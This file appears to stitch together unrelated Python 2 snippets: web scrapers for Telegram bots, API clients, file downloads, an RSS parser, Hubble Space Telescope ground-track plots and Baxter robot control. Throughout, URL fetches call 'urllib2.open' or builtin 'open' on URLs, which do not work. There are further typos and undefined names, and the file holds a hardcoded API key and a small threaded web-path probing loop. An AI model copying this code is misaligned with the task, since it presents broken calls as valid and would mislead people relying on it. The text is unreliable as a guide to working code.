def download(url, savedir=TMPDIR):
bname = path.basename(url)
destfile = path.join(savedir, bname)
filedata = urllib2.open(url)
with open(destfile, 'wb') as f:
f.write(filtdata.read())
return destfile
def get_brent_price(message):
pattern = r"(?<=\>).+?(?=\<)"
out = ['Brent Price Now :']
url = bs(open('http://www.bloomberg.com/energy').read())
c = url('table')[0].findAll('tr')[2].findAll('td')[2]
out.append('\n' + str(re.findall(pattern, str(c)))[2:-2] + '\n')
bot.send_message(message.chat.id, " ".join(out), parse_mode="Markdown")
def __init__(self, url=None, **kwargs):
'''
:param filename: A filename
'''
if url:
kwargs['instream'] = urllib2.open(url)
super(URLDataTap, self).__init__(**kwargs)
def test_http_put_delete(url,data=None):
'''
urllib2 只支持 HTTP 的 GET 和 POST 方法，如果要使用 HTTP PUT 和 DELETE，只能使用比较低层的 httplib 库。虽然如此，我们还是能通过下面的方式，使 urllib2 能够发出 HTTP PUT 或 DELETE 的包,这种做法虽然属于 Hack 的方式，但实际使用起来也没什么问题。
'''
request = urllib2.Request(url,data=data)
request,get_method = lambda:'PUT' #or delete
response = urllib2.open(request)
def api_call(self, method, params, internal=False):
try:
url_params = params
# add token and dep id
url_params['token'] = self.token
url_params['store_department_id'] = self.dep_id
url_params = encode(url_params)
request = "%s%s?%s" % (self.sailplay_domain, method, url_params)
data = open(request).read().decode("utf-8")
response_json = json.loads(data)
if internal:
return request, response_json
if response_json[u'status'] == u'ok':
logging.info("api_call: success: [%s] " % request)
return response_json
else:
logging.error("api_call: Error: [%s] [%s: %s]" %
(request, response_json[u'status'],
response_json[u'message']))
return False
except Exception as e:
logging.critical("api_call: Exception: [%s] [%s] " % (e, request))
return False
def do_request(self, destination):
"""Given a destination (usually a URL), manage authentication if needed."""
url = destination
url += "&%s" % self.get_auth_querystring()
response = urllib2.open(url)
raw_data = response.read()
return raw_data
def do_request(self, destination):
"""Given a destination (usually a URL), manage authentication if needed."""
url = destination
url += "&%s" % self.get_auth_querystring()
response = urllib2.open(url)
raw_data = response.read()
return raw_data
def scan(url_s):
url = "http://" + url_s
try:
response = urllib2.open(url)
if 404 != response.getcode():
counter += 1
print response.getcode() + " " + url
fp2.write(counter + str(response.getcode()) + " " + url)
except Exception, e:
e.massage
def scan(url_s):
url = "http://" + url_s
try:
response = urllib2.open(url)
if 404 != response.getcode():
counter += 1
print response.getcode() + " " + url
fp2.write(counter + str(response.getcode()) + " " + url)
except Exception, e:
e.massage
def get_result_table(message):
pattern = r"(?<=\>).+?(?=\<)"
out = []
url = 'http://www.supersport.com/football/barclays-premier-league/logs'
s = bs(open(url).read())
number_of_commands = [2, 3, 4]
for i in number_of_commands:
c = s('table')[0].findAll('tr')[i].findAll('td')[1]
b = s('table')[0].findAll('tr')[i].findAll('td')[9]
out.append('\n' + str(re.findall(pattern, str(c)))[2:-2] + ":" +
'\n')
out.append(str(re.findall(pattern, str(b)))[2:-2])
bot.send_message(message.chat.id, " ".join(out), parse_mode="Markdown")
def usingYamlAndJson(self):
""" Conventions.. safe_load, load, dump operates on
file handles.. loads/dumps operates with strings
"""
with open('some_datafile', 'rw') as fh:
#myData = yaml.safe_load(fh)
#yaml.dump(myData,fh)
fh.reset()
myData = json.load(fh)
json.dump(myData, fh)
response = urllib2.open("http://www.google.com/")
html = response.read()
def __init__(self, way_points):
"""
Initialize the mapquest key, and the waypoints
"""
self.key = 'Fmjtd%7Cluur2l6ynl%2Cba%3Do5-901xdu'
import ipdb; ipdb.set_trace()
try:
if way_points[0].keys() == ['lat', 'lng']:
self.way_points = way_points
except Exception:
print "Your way_points format is wrong, please input as: \n"
print "[{'lat': xxx, 'lng': xxx}, {'lat': xxx, 'lng': xxx}, ...]"
raise Exception
self.url = self.__create_request_url()
self.route_inform = json.load(urllib2.open(self.url))
def __init__(self, way_points):
"""
Initialize the mapquest key, and the waypoints
"""
self.key = 'Fmjtd%7Cluur2l6ynl%2Cba%3Do5-901xdu'
import ipdb
ipdb.set_trace()
try:
if way_points[0].keys() == ['lat', 'lng']:
self.way_points = way_points
except Exception:
print "Your way_points format is wrong, please input as: \n"
print "[{'lat': xxx, 'lng': xxx}, {'lat': xxx, 'lng': xxx}, ...]"
raise Exception
self.url = self.__create_request_url()
self.route_inform = json.load(urllib2.open(self.url))
def getSpider(self):
'''
使用get发送表单
:return:
'''
data = {}
data['name'] = 'WHY'
data['location'] = 'SDU'
data['language'] = 'Python'
url_values = urllib.urlencode(data)
print url_values
#name=Somebody+Here&language=Python&location=Northampton
url = 'http://www.example.com/example.cgi'
full_url = url + '?' + url_values
data = urllib2.open(full_url)
def test_remote(): while not web_paths.empty(): path = web_paths.get() url = "%s/%s" %(r,files) request = urllib2.Request(url) try: response = urllib2.open(request) content = response.read() print "[%d] => %s" %(response.code, path) response.close() except urllib2.HTTPError as error: print "Failed %s" %error.code pass for i in range(threads): print "Spawning thread: %d" %i t = threading.Thread(target=test_remote) t.start()
def do(begin=''):
'''
>>> from urlparse import parse_qs
>>> parse_qs(w)
u'FVlevel': [u'4'],
u'FVboardX': [u'5'],
u'FVboardY': [u'5'],
u'FVinsMax': [u'3'],
u'FVinsMin': [u'2'],
u'FVterrainString': [u'.XX............XX.X....XX']}
>>> w
u'FVterrainString=.XX............XX.X....XX&FVinsMax=3&FVinsMin=2&FVboardX=5&FVboardY=5&FVlevel=4'
'''
doc = open(_url+begin).readlines()
#================================ level 100
html = ''.join(doc)
_list = html.split('<!--')[1]
doc = _list.split('-->')[0]
#================================ level 100
soup = bs(''.join(doc))
for one in soup.findAll(attrs={'name':'FlashVars'}):
d = parse_qs(one.get('value'))
level = int(d[u'FVlevel'][0])
insMin = int(d[u'FVinsMin'][0])
insMax = int(d[u'FVinsMax'][0])
boardX = int(d[u'FVboardX'][0])
boardY = int(d[u'FVboardY'][0])
_map = d[u'FVterrainString'][0]
map = str2map(_map,boardX,boardY)
print "level %d"%level
_begin = time.time()
path = ''
for n in range(insMin,insMax+1):
for x in range(1,n+2):
y = n+2-x
mini = map2mini(map,x,y)
path = fire(mini,x,y)
if path:break
if path:break
print "time ",time.time()-_begin
print("level %d path is [ %s ]"%(level,path))
do(path)
def login(self):
url_params = encode({
'store_department_id': self.dep_id,
'store_department_key': self.dep_key,
'pin_code': self.pin_code
})
data = open("%s/api/v2/login/?%s" %
(self.sailplay_domain, url_params)).read().decode("utf-8")
response_json = json.loads(data)
if response_json[u'status'] == u'ok':
logging.info("sp_api_connector: login: success: [%s]" %
(response_json))
self.token = response_json[u'token']
return self.token
else:
logging.error(
"sp_api_connector: login: failure: [%s: %s] " %
(response_json[u'status'], response_json[u'message']))
return False
def boxDownload():
fileID = request.args.get('fileID','')
url = baseBoxURL + '/2.0/files/'+ fileID +'/content'
req = urllib2.Request(url)
req.add_header('Authorization','Bearer ' + access_token)
response = urllib2.urlopen(req)
redirectLocation = ''
fileData = response.read()
LOG(response.info())
LOG(fileData)
if response.code == 302 :
redirectLocation = response.info()['location']
req = urllib2.Request(redirectLocation)
response = urllib2.open(req)
return Response(response.read(),mimetype="text/plain",headers={"Content-Disposition":
"attachment;filename=test.txt"})
else:
fileInfo = response.info()['Content-Disposition'];
mimeType = response.info()['Content-Type'];
return Response(fileData,mimetype=mimeType,headers={"Content-Disposition":fileInfo})
def get_rb_diff(rid):
# Log in reviewboard
login_path = "account/login/"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
url = urljoin(RB_SERVER, login_path)
resp = urllib2.urlopen(url)
data = urllib.urlencode(dict(username=USERNAME, password=PASSWORD))
page = opener.open(url, data).read()
if page.find("<title>Log In") != -1:
raise SvnError, "Login failed!"
return
diff_path = "r/%s/diff/raw" % rid
diff_url = urljoin(RB_SERVER, diff_path)
response = urllib2.open(diff_url)
diff = response.read()
return diff
def boxDownload():
fileID = request.args.get('fileID', '')
url = baseBoxURL + '/2.0/files/' + fileID + '/content'
req = urllib2.Request(url)
req.add_header('Authorization', 'Bearer ' + access_token)
response = urllib2.urlopen(req)
redirectLocation = ''
fileData = response.read()
LOG(response.info())
LOG(fileData)
if response.code == 302:
redirectLocation = response.info()['location']
req = urllib2.Request(redirectLocation)
response = urllib2.open(req)
return Response(
response.read(),
mimetype="text/plain",
headers={"Content-Disposition": "attachment;filename=test.txt"})
else:
fileInfo = response.info()['Content-Disposition']
mimeType = response.info()['Content-Type']
return Response(fileData,
mimetype=mimeType,
headers={"Content-Disposition": fileInfo})
def parseFeed(feed, user):
index = open(feed.url) # gets html index
index = index.read() # continues
soupd = soup(index) # parse the hml with BeautifulSoup
rsslink = soupd.findAll("link", type="application/rss+xml") # this little mess will get the # rss link
if rsslink == "[]":
rsslink = soupd.findAll("link", type="application/rdf+xml") # or rdf
elif rsslink == "[]":
rsslink = soupd.findAll("link", type="application/atom+xml") # or atom
rsslink = str(rsslink) # and put to a string
# no need to understand this as none will ever comprehend RegExp
# a hint, it strips the link out of the html tag
link = re.search('href=".*?"', rsslink)
if link == 0:
link = link.group()
link = re.search('HREF=".*?"', rsslink)
link = link.strip("HREF=")
link = str(link)
link = link.strip('""')
elif link == 0:
print "erro, linha 94 engine.py, link para rss n encontrado!"
else:
link = link.group()
link = str(link)
link = link.strip("href=")
link = link.strip('""')
feed.rsslink = link # we will need to store this, for updates
# now some more fun, getting the real thing, xml content
# from the link we have
xml = open(link)
xml = xml.read()
# time to parse it with FeedParser
k = feedparse(xml)
feed.title = k.feed.title
feed.put()
# now let's parse the posts one-by-one
for x in range(len(k.entries)):
p = str(x)
post = Post(url=k.entries[x].link, owner=user)
# now that the post model is set, let us play!
# ugly but necessary:
if k.entries[x].has_key("author") is True:
post.author = k.entries[x].author + " sings "
else:
post.author = "Anonymous"
if k.entries[x].has_key("category") is True:
post.category = " on " + k.entries[x].category
else:
post.category = ""
if k.entries[x].has_key("date_parsed") is True:
date = parseDate(k.entries[x].date_parsed)
post.date = date
if k.entries[x].has_key("summary") is True:
post.summary = k.entries[x].summary
else:
post.summary = "No private dancing, cowboy..."
if k.entries[x].has_key("title") is True:
post.title = k.entries[x].title
if len(post.title) == 0:
post.title = "Untitled"
post.feed = feed.key()
post.put()
return feed
def plotContoursOverHSTTrack(
data, hst_start, hst_stop, tlefile, ephemerisOnline=False, SAA_zoomed=False, hold_on=False
):
num_points = int((hst_stop - hst_start) / ephem.minute) + 1
# Read in the HST Two-Line ephemeris
if ephemerisOnline:
import urllib2
hand = urllib2.open("http://celestrak.com/NORAD/elements/science.txt")
data = hand.readlines()
hand.close()
HST = [[d[val], d[val + 1], d[val + 2]] for val, line in enumerate(d) if "HST" in line]
hst = ephem.readtle(string.strip(HST[0][0]), string.strip(HST[0][1]), string.strip(HST[0][2]))
else:
temp = open(tlefile, "r").readlines()
hst = ephem.readtle(string.strip(temp[0]), string.strip(temp[1]), string.strip(temp[2]))
cur_time = hst_start
hst_longs = []
hst_lats = []
for i in range(0, num_points):
hst.compute(cur_time)
hst_longs.append(hst.sublong.znorm * 180.0 / math.pi)
hst_lats.append(hst.sublat * 180.0 / math.pi)
cur_time = cur_time + ephem.minute
hst_longs = N.array(hst_longs)
hst_lats = N.array(hst_lats)
# projection
lon_0 = 335
lat_0 = -20
llcrnrlat = -60
llcrnrlon = -100
urcrnrlat = 20
urcrnrlon = 60
# use these values to setup Basemap instance.
width = 14000000
height = 10000000
# SAA
if SAA_zoomed:
m = Basemap(width=width, height=height, resolution="c", projection="aeqd", lat_0=lat_0, lon_0=lon_0)
sz = 100
else:
m = Basemap(resolution="c", projection="mbtfpq", lon_0=lon_0)
sz = 35
# OTHER PROJECTIONS
# crashed?
# m = Basemap(resolution='c', projection='aeqd', lat_0 = lat_0, lon_0 = lon_0)
# Full map, good
# m = Basemap(resolution='c', projection='mbtfpq', lon_0 = lon_0)
# Full map, diff projection
# m = Basemap(resolution='c', projection='moll', lon_0 = lon_0)
# Globe, SAA well presented
# m = Basemap(resolution='c', projection='ortho', lon_0 = lon_0, lat_0 = lat_0)
# Square, SAA well presented.
# m = Basemap(resolution='c',projection='cyl',llcrnrlat=llcrnrlat,llcrnrlon=llcrnrlon,urcrnrlat=urcrnrlat,urcrnrlon=urcrnrlon)
p = FontProperties()
font1 = p.copy()
font1.set_size("small")
# draw coasts and fill continents.
m.drawcoastlines(linewidth=0.5)
# m.fillcontinents()
m.drawparallels(arange(-80, 81, 10), labels=[1, 1, 0, 0], fontproperties=font1, labelstyle="+/-")
m.drawmeridians(arange(-180, 180, 20), labels=[0, 0, 0, 1], fontproperties=font1, labelstyle="+/-")
m.bluemarble()
m.drawmapboundary()
# SAA 02
x2, y2 = m(
[
357.4 - 360,
357.6 - 360,
356.9 - 360,
355.0 - 360,
352.3 - 360,
348.7 - 360,
342.9 - 360,
336.4 - 360,
324.8 - 360,
303.2 - 360,
292.1 - 360,
289.0 - 360,
285.9 - 360,
283.5 - 360,
282.5 - 360,
282.4 - 360,
282.7 - 360,
357.4 - 360,
],
[
-28.3,
-26.1,
-23.7,
-21.2,
-18.8,
-16.3,
-13.0,
-10.6,
-9.1,
-11.9,
-14.9,
-17.0,
-19.1,
-21.3,
-23.7,
-26.0,
-28.6,
-28.3,
],
)
# SAA 03
x3, y3 = m(
[
20.0,
21.0,
19.0,
7.5,
347.0 - 360,
336.4 - 360,
324.8 - 360,
303.2 - 360,
292.1 - 360,
285.9 - 360,
283.5 - 360,
282.5 - 360,
282.4 - 360,
282.7 - 360,
20.0,
],
[-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3],
)
# SAA 04
x4, y4 = m(
[
25.0,
7.0,
351.0 - 360,
341.0 - 360,
318.0 - 360,
300.0 - 360,
290.0 - 360,
284.0 - 360,
278.0 - 360,
273.0 - 360,
275.0 - 360,
25.0,
],
[-28.5, -16.0, -6.5, -2.0, 1.0, -3.0, -7.0, -10.0, -15.0, -20.0, -30.0, -28.5],
)
# SAA 05,23
x5, y5 = m(
[
300.0 - 360,
45.0,
40.0,
30.0,
10.0,
0.0,
341.0 - 360,
318.0 - 360,
300.0 - 360,
283.0 - 360,
273.0 - 360,
275.0 - 360,
300.0 - 360,
],
[-50.0, -30.0, -25.0, -21.0, -15.0, -10.2, -2.0, 1.0, -3.0, -8.0, -20.0, -30.0, -50.0],
)
# SAA 06
x6, y6 = m(
[
20.0,
21.0,
19.0,
7.5,
347.0 - 360,
336.4 - 360,
324.8 - 360,
303.2 - 360,
292.1 - 360,
285.9 - 360,
283.5 - 360,
282.5 - 360,
282.4 - 360,
282.7 - 360,
20.0,
],
[-28.3, -27.5, -26.1, -19.8, -9.6, -7.6, -6.0, -7.9, -12.0, -17.1, -20.3, -23.5, -26.0, -28.6, -28.3],
)
# SAA
saa02 = m.plot(
x2, y2, marker="D", markersize=4.0, markeredgewidth=0.0, color="turquoise", linestyle="-", label="02"
)
saa03 = m.plot(x3, y3, marker="v", markersize=4.0, markeredgewidth=0.0, color="white", linestyle="-", label="03")
saa04 = m.plot(x4, y4, marker="^", markersize=4.0, markeredgewidth=0.0, color="orange", linestyle="-", label="04")
saa05 = m.plot(x5, y5, marker="s", markersize=4.0, markeredgewidth=0.0, color="green", linestyle="-", label="05")
saa06 = m.plot(x6, y6, marker="x", markersize=4.0, markeredgewidth=1.0, color="magenta", linestyle="-", label="06")
# HST observation ground track
xhst, yhst = m(hst_longs, hst_lats)
# hst = m.plot(xhst,yhst,marker='+',markersize=4.0,markeredgewidth=1.0,color='red',linestyle='-',linewidth=0.7,label='hst')
# scatter plot
if hold_on:
scatter = m.scatter(xhst[:-1], yhst[:-1], s=sz, c=data, cmap=cm.jet, linestyle="solid", zorder=11, hold="on")
else:
fig = P.figure(1)
points = N.array([xhst, yhst]).T.reshape(-1, 1, 2)
segments = N.concatenate([points[:-1], points[1:]], axis=1)
ax = P.axes()
lc = LineCollection(segments, cmap=P.get_cmap("jet"), norm=P.Normalize(0, 10000))
lc.set_array(data)
lc.set_linewidth(5)
ax.add_collection(lc)
axcb = fig.colorbar(lc)
axcb.set_label("EVENTS")
# contour plot
# cs = m.contour(xhst, yhst, data, 15, linewidths = 1.5)
# mx = N.max(data)
# cbar = map.colorbar(s, ticks=[N.max(data), mx//2., mx], orientation='vertical')
hst_label = "HST once per minute"
font = p.copy()
# font.set_size('xx-small')
font.set_size("small")
leg = legend(
(saa02, saa03, saa04, saa05, saa06, hst),
(
"PASS SAA Level 1 - FGS Guidance & STIS LV",
"PASS SAA Level 2 - STIS",
"PASS SAA Level 3 - ACS & WFC3",
"PASS SAA Level 4 - Astrometry & NICMOS",
"PASS SAA Level 5 - COS",
hst_label,
),
prop=font,
numpoints=2,
borderpad=0.3,
loc="upper center",
borderaxespad=0.0,
ncol=2,
)
leg.get_frame().set_alpha(0.7)
# draw the title.
P.title("HST from %s to %s" % (str(arg1), str(arg2)))
if hold_on == False:
P.show()
def plotHSTtrack(hst_start, hst_stop, tlefile, ephemerisOnline = False):
num_points = int((hst_stop - hst_start)/ephem.minute) + 1
# Read in the HST Two-Line ephemeris
if ephemerisOnline:
import urllib2
hand = urllib2.open('http://celestrak.com/NORAD/elements/science.txt')
data = hand.readlines()
hand.close()
HST = [[d[val], d[val+1], d[val+2]] for val, line in enumerate(d) if 'HST' in line]
hst = ephem.readtle(string.strip(HST[0][0]), string.strip(HST[0][1]), string.strip(HST[0][2]))
else:
temp = open(tlefile, 'r').readlines()
hst = ephem.readtle(string.strip(temp[0]), string.strip(temp[1]), string.strip(temp[2]))
cur_time = hst_start
hst_longs = []
hst_lats = []
for i in range(0,num_points):
hst.compute(cur_time)
hst_longs.append(hst.sublong.znorm*180.0/math.pi)
hst_lats.append(hst.sublat*180.0/math.pi)
cur_time = cur_time + ephem.minute
lon_0 = 335
lat_0 = -20
llcrnrlat = -60
llcrnrlon = -100
urcrnrlat = 20
urcrnrlon = 60
# use these values to setup Basemap instance.
width = 14000000
height = 10000000
#m = Basemap(width=width,height=height,\
# resolution='c',projection='aeqd',\
# lat_0=lat_0,lon_0=lon_0)
#m = Basemap(resolution='c',projection='aeqd',lat_0=lat_0,lon_0=lon_0)
#m = Basemap(width=width,height=height,\
# resolution='c',projection='aea',\
# lat_0=lat_0,lon_0=lon_0)
m = Basemap(resolution='c', projection='mbtfpq', lon_0=lon_0)
#m = Basemap(resolution='c',projection='moll',lon_0=lon_0)
#m = Basemap(resolution='c',projection='ortho',lon_0=lon_0,lat_0=lat_0)
#m = Basemap(resolution='c',projection='cyl',llcrnrlat=llcrnrlat,llcrnrlon=llcrnrlon,urcrnrlat=urcrnrlat,urcrnrlon=urcrnrlon)
p = FontProperties()
font1 = p.copy()
font1.set_size('small')
# draw coasts and fill continents.
m.drawcoastlines(linewidth = 0.5)
#m.fillcontinents()
m.drawparallels(arange(-80,81,10),labels=[1,1,0,0],fontproperties=font1,labelstyle="+/-")
m.drawmeridians(arange(-180,180,20),labels=[0,0,0,1],fontproperties=font1,labelstyle="+/-")
m.bluemarble()
m.drawmapboundary()
# SAA 02
x2,y2 = m([357.4-360,357.6-360,356.9-360,355.0-360,352.3-360,348.7-360,342.9-360,336.4-360,324.8-360,303.2-360,292.1-360,289.0-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360,357.4-360], \
[-28.3,-26.1,-23.7,-21.2,-18.8,-16.3,-13.0,-10.6, -9.1,-11.9,-14.9,-17.0,-19.1,-21.3,-23.7,-26.0,-28.6,-28.3])
# SAA 03
#x3,y3 = m([294.4-360,301.4-360,350.0-360,358.4-360,335.8-360,304.6-360,295.5-360,279.4-360,282.6-360,294.4-360], \
# [-41.0,-42.8,-30.0,-20.9,-4.9,-4.9,-7.0,-21.9,-32.7,-41.0])
x3,y3 = m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \
[-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3])
# SAA 04
#x4,y4 = m([335.0-360,345.0-360,349.0-360,346.0-360,330.0-360,314.0-360,310.0-360,303.0-360,310.0-360,325.0-360,335.0-360], \
# [-33.0,-27.0,-24.0,-23.0,-25.0,-30.0,-32.2,-39.0,-40.0,-37.0,-33.0])
x4,y4 = m([ 25.0, 7.0,351.0-360,341.0-360,318.0-360,300.0-360,290.0-360,284.0-360,278.0-360,273.0-360,275.0-360, 25.0], \
[-28.5,-16.0, -6.5, -2.0, 1.0, -3.0, -7.0,-10.0,-15.0,-20.0,-30.0,-28.5])
# SAA 05,23
x5,y5 = m([300.0-360, 45.0, 40.0, 30.0, 10.0, 0.0,341.0-360,318.0-360,300.0-360,283.0-360,273.0-360,275.0-360,300.0-360], \
[-50.0,-30.0,-25.0,-21.0,-15.0,-10.2, -2.0, 1.0, -3.0, -8.0,-20.0,-30.0,-50.0])
# SAA 06
#x6,y6 = m([359.0-360,360.0-360,335.4-360,323.0-360,290.0-360,280.0-360,276.0-360,280.0-360,359.0-360], \
# [-28.0,-20.9,-3.4,-0.0,-7.0,-12.6,-20.9,-30.0,-28.0])
x6,y6 = m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \
[-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3])
# SAA 07
x7,y7 = m([300.0-360,359.0-360,5.0,341.0-360,318.0-360,300.0-360,283.0-360,273.0-360,275.0-360,300.0-360], \
[-50.0,-41.0,-23.0,-2.0,1.0,-3.0,-8.0,-20.0,-30.0,-50.0])
# SAA 24,25,28,31,32
x24,y24=m([ 20.0, 21.0, 19.0, 7.5,347.0-360,336.4-360,324.8-360,303.2-360,292.1-360,285.9-360,283.5-360,282.5-360,282.4-360,282.7-360, 20.0], \
[-28.3,-27.5,-26.1,-19.8, -9.6, -7.6, -6.0, -7.9,-12.0,-17.1,-20.3,-23.5,-26.0,-28.6,-28.3])
# SAA 26,27,29,30
x26,y26=m([ 25.0, 7.0,351.0-360,341.0-360,318.0-360,300.0-360,290.0-360,284.0-360,278.0-360,273.0-360,275.0-360, 25.0], \
[-28.5,-16.0, -6.5, -2.0, 1.0, -3.0, -7.0,-10.0,-15.0,-20.0,-30.0,-28.5])
# HST observation ground track
xhst,yhst = m(hst_longs, hst_lats)
saa02 = m.plot(x2,y2,marker='D',markersize=4.0,markeredgewidth=0.0,color='turquoise',linestyle='-',label='02')
saa03 = m.plot(x3,y3,marker='v',markersize=4.0,markeredgewidth=0.0,color='white',linestyle='-',label='03')
saa04 = m.plot(x4,y4,marker='^',markersize=4.0,markeredgewidth=0.0,color='orange',linestyle='-',label='04')
saa05 = m.plot(x5,y5,marker='s',markersize=4.0,markeredgewidth=0.0,color='green',linestyle='-',label='05')
saa06 = m.plot(x6,y6,marker='x',markersize=4.0,markeredgewidth=1.0,color='magenta',linestyle='-',label='06')
#saa07 = m.plot(x7,y7,marker='>',markersize=4.0,markeredgewidth=0.0,color='darkorchid',linestyle='-',label='07')
#saa24 = m.plot(x24,y24,marker='x',markersize=4.0,markeredgewidth=1.0,color='green',linestyle='-',label='24')
#saa26 = m.plot(x26,y26,marker='^',markersize=4.0,markeredgewidth=0.0,color='maroon',linestyle='-',label='26')
hst = m.plot(xhst,yhst,marker='+',markersize=4.0,markeredgewidth=1.0,color='red',linestyle='-',linewidth=0.7,label='hst')
#SMN:
#cnts must be sampled similar as xhst and yhst!
#cs = m.contour(xhst,yhst,cnts,15,linewidths=1.5)
hst_label = 'HST once per minute'
font = p.copy()
#font.set_size('xx-small')
font.set_size('small')
leg=legend((saa02,saa03,saa04,saa05,saa06,hst), \
('PASS SAA Level 1 - FGS Guidance & STIS LV', \
'PASS SAA Level 2 - STIS', \
'PASS SAA Level 3 - ACS & WFC3', \
'PASS SAA Level 4 - Astrometry & NICMOS', \
'PASS SAA Level 5 - COS', \
#'07 - GHRS', \
#'24/25/31/32 - STIS CCD/STIS MAMA/COS FUV/COS NUV', \
#'26/27/28/29/30 - WFPC2/ACS CCD/ACS SBC/WFC3 UVIS/WFC3 IR', \
hst_label), \
prop=font,numpoints=2,borderpad=0.3,loc='upper center',borderaxespad=0.0,ncol=2)
leg.get_frame().set_alpha(0.7)
#figlegend((saa02,saa05,saa24,saa26),('02','05','24','26'),'upper right')
# draw the title.
title('HST from %s to %s' % (str(arg1),str(arg2)))
show()
#!/usr/bin/env python import urllib2 import sys search_url = 'http://eztv.it/search' postdata = None query = '' request = urllib2.Request(search_url, postdata) data = urllib2.open(request) results = data.read()
import urllib2
help_File = urllib2.open('http://172.16.1.14:10009/sms/help')
ptz_startFile = urllib2.open('http://172.16.1.14:10009/sms/ptz/start')
ptz_startRet = ptz_startFile.read(100)
record_startFile = urllib2.open('http://172.16.1.14:10009/sms/record')
record_startRet = record_startFile.read(100)
#FIXME sleep time
sleep(1000)
ptz_closeFile = urllib2.open('http://172.16.1.14:10009/sms/ptz/close')
ptz_closeRet = ptz_closeFile.read(100)
sleep(1000)
def main():
tags = {}
cup_tags = []
#Wait for the IK service to become available
rospy.wait_for_service('compute_ik')
rospy.init_node('service_query')
right_gripper = baxter_gripper.Gripper('right')
left_gripper = baxter_gripper.Gripper('left')
right_gripper.calibrate()
# left_gripper.calibrate()
#Create the function used to call the service
compute_ik = rospy.ServiceProxy('compute_ik', GetPositionIK)
rospy.wait_for_service('fixed_multi_service')
get_ar = rospy.ServiceProxy('fixed_multi_service', ARPose)
tag3 = get_ar(3)
tag4 = get_ar(4)
tag5 = get_ar(5)
cup_tags.append(tag3)
cup_tags.append(tag4)
cup_tags.append(tag5)
def get_closest_cup_tag(ar_tag, cup_tags):
def dist(x1, y1, z1, x2, y2, z2):
return (x1 - x2)**2 + (y1 - y2)**2 + (z1 - z2)**2
minDist = float('inf')
minTag = None
for T in cup_tags:
d = dist(ar_tag.pos_x, ar_tag.pos_y, ar_tag.pos_z, T.pos_x,
T.pos_y, T.pos_z)
if d < minDist:
minDist = d
minTag = T
return minTag
# starting position
os.system(
'rosrun cup_grabber joint_trajectory_file_playback.py -f starting_position'
)
left = baxter_interface.Limb('left')
right = baxter_interface.Limb('right')
grip_left = baxter_interface.Gripper('left', CHECK_VERSION)
grip_right = baxter_interface.Gripper('right', CHECK_VERSION)
lj = left.joint_names()
rj = right.joint_names()
def move(curr, trans):
a = 14 * np.pi / 180
cx, cy, cz = curr
tx, ty, tz = trans
nz = tz * np.cos(a) - ty * np.sin(a)
ny = tz * np.sin(a) + ty * np.cos(a)
return (cx + tx, cy + ny, cz + nz)
################### learning tag3
while tag3.tag_name == 'notfound':
tag3 = get_ar(3)
print 'tag3 not found'
cup_tags[0] = tag3
currxyz = (tag3.pos_x, tag3.pos_y, tag3.pos_z)
currori = (-.083, -.02, -.697, .712)
right_gripper.open()
currxyz = move(currxyz, (-.1, .11, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (-.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
tag8 = get_ar(8)
tag9 = get_ar(9)
tag10 = get_ar(10)
if tag8.tag_name != 'notfound': tags[8] = tag8
if tag9.tag_name != 'notfound': tags[9] = tag9
if tag10.tag_name != 'notfound': tags[10] = tag9
################### learning tag4
while tag4.tag_name == 'notfound':
tag4 = get_ar(4)
print 'tag4 not found'
cup_tags[1] = tag4
currxyz = (tag4.pos_x, tag4.pos_y, tag4.pos_z)
currxyz = move(currxyz, (-.1, .11, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
currxyz = move(currxyz, (0, .5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (-.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (.2, 0, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, -.5, 0))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.open()
currxyz = move(currxyz, (0, 0, -.17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
tag8 = get_ar(8)
tag9 = get_ar(9)
tag10 = get_ar(10)
if tag8.tag_name != 'notfound': tags[8] = tag8
if tag9.tag_name != 'notfound': tags[9] = tag9
if tag10.tag_name != 'notfound': tags[10] = tag9
################### learning tag5
while tag5.tag_name == 'notfound':
tag5 = get_ar(5)
print 'tag5 not found'
cup_tags[2] = tag5
currxyz = (tag5.pos_x, tag5.pos_y, tag5.pos_z)
currxyz = move(currxyz, (-.1, .1, -.1))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
currxyz = move(currxyz, (0, 0, .17))
requestIK('right_gripper', 'right_arm', currxyz, currori, compute_ik)
right_gripper.close()
